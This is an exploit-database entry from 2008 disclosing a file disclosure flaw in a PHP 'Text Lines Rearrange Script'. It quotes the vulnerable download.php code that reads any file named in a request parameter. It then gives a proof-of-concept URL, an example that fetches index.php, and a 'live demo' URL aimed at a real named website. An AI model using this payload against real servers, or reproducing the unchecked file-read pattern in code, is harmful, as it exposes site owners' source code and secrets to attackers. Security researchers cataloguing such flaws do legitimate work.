exploit-db-mirror/exploits/php/webapps/7542.txt
Offensive Security d304cc3d3e DB: 2017-11-24
116602 new exploits

Too many to list!
2017-11-24 20:56:23 +00:00

37 lines
No EOL
1 KiB
Text

#############################################################################################
[+] Text Lines Rearrange Script (download.php filename) File
Disclosure Vulnerability
[+] Discovered By SirGod
[+] Visit : www.h4cky0u.org
[+] Greetz : All my friends
#############################################################################################
[+] File Disclosure Vulnerability
Vulnerable Code in download.php :
-----------------------------------------------------
if(file_exists($filename))
{
$fp=fopen($filename,"r");
$content=fread($fp,filesize($filename));
fclose($fp);
------------------------------------------------------
PoC :
http://[target]/[path]/download.php?filename=[Local File]
Example :
http://[target]/[path]/download.php?filename=index.php
Live Demo :
http://www.rightscripts.com/listrearrange/download.php?filename=index.php
#############################################################################################
# milw0rm.com [2008-12-22]